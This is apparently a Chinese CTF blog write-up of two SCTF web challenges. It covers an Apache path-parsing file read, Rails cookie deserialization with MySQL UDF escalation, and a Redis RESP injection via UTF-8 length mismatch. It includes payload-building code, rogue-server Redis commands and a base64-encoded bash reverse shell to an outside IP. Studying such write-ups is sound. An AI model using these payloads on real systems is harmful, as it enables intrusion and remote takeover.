SCTF
太坐牢了,被出题人骗了。题目描述ez signin,结果到最后也没几个解,就这道黑盒研究了两天没研究出来,最后和队友一起看题协助做了一道。。。
havefun
题目给了一张图片,下载下来发现藏了php
马上想到之前护网学到的apache解析洞,url后加/.php,得到服务器配置文件内容:
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
PassengerAppRoot /usr/share/redmine
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/redmine>
RailsBaseURI /redmine
</Directory>
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
LogLevel alert rewrite:trace3
RewriteEngine On
RewriteRule ^/profile/(.*)$ /$1.html
</VirtualHost>
是一个ruby语言起的redmine项目。并且可以通过解析漏洞访问服务器资源内的任意文件,如
http://1.95.37.51/usr/share/redmine/config/database.yml/.php
Database username: redmine/instance password: redmine
然后思路就开始歪了,因为有解析漏洞,所以就到处找redmine写入日志之类的地方,把日志解析为php就可以rce了,但是没有。
其实这道题打的是一个ruby-on-rails cookie反序列化漏洞,参考这个:
小心!你的 Rails 有被打過嗎?.pdf
看下来只需要拿到secret_key就可以直接复现,而secret_key在/usr/share/redmine/instances/default/config/secret_key.txt可以直接利用解析洞读:
(比赛时本地起的redmine docker里根本没有这东西啊,为什么啊。。。)
后面就是复现漏洞了,github有现成的exp,没什么自己要做的事情
拿到shell以后利用mysql进行udf提权即可获得flag。
ezjump
题目前半段就是一个SSRF的CVE,复现即可:digging-for-ssrf-in-nextjs-apps
后半段是一个redis的逃逸执行任意redis,漏洞点在redis.py中:
def GET(key):
redis_socket = connect_redis()
try:
# 发送命令
command = pack_command('GET', key)
redis_socket.sendall(command)
# 接收响应
response = b''
while True:
chunk = redis_socket.recv(1024)
response += chunk
if response.endswith(b'\r\n'):
break
finally:
redis_socket.close()
if "$-1\r\n" in response.decode('utf-8'):
return None
# 提取真实内容
result_start_idx = response.index(b'\r\n') + 2 # 跳过第一行响应
result_end_idx = response.index(b'\r\n', result_start_idx) # 找到第二个\r\n
real_content = response[result_start_idx:result_end_idx]
return real_content
def pack_command(*args):
# 构建 RESP 请求
command = f"*{len(args)}\r\n"
for arg in args:
arg_str = str(arg)
command += f"${len(arg_str)}\r\n{arg_str}\r\n"
return command.encode('utf-8')
GET的key就是"username:"加上我们传的参数username。而在pack_command中传递给redis的RESP请求有一个.encode('utf-8'),由于中文字符在encode之后是三个字节,长度是不一样的,这里就构成了逃逸
也就是说,假如我们传入一个中文字符,pack_command会构造RESP为:
*2
$3
GET
$1
\xe4\xbd\xa0
$1会让redis在对GET的值 只读入1个字符为\xe4,剩下的两个字符就逃逸了
由于\xbd\xa0不是有效的redis命令,redis会继续往下读,读到有效的resp协议为止
可以构造:
def send_resp(resp):
redis_socket = connect_redis()
redis_socket.sendall(resp)
resp = '''*2
$3
GET
$1
你
*3
$3
SET
$1
a
$1
b
'''
send_resp(resp.encode('utf-8'))
会发现其成功执行SET a b
而由于我们payload变长,$后的长度也会变长,因此一个中文字符只可以逃逸两个字符,我们构造payload直接在要执行的redis语句(resp格式)前加足够的中文字符就可以了:
def getpayload(cmd):
payload = "你"*100
payload += "\r\n"+f"*{len(cmd)}"
for c in cmd:
ch = "\r\n"+f"${len(c)}"+"\r\n"+c
payload += ch
print(quote(payload))
拿到redis之后可以打主从复制RCE:
redis-rogue-server
python3 redis-rogue-server.py --server-only
然后redis上依次执行:
127.0.0.1:6379> config set dir ./
OK
127.0.0.1:6379> config set dbfilename exp.so
OK
127.0.0.1:6379> SLAVEOF 121.199.39.4 4000
OK
127.0.0.1:6379> MODULE LOAD ./exp.so
OK
127.0.0.1:6379> SLAVEOF no one
OK
127.0.0.1:6379> MODULE LIST
1) 1) "name"
2) "system"
3) "ver"
4) (integer) 1
127.0.0.1:6379> system.exec 'bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMS4xOTkuMzkuNC8zMDAwIDA+JjE=}|{base64,-d}|{bash,-i}'
即可反弹shell
Comments 1 条评论
博主 张, 敬茁
666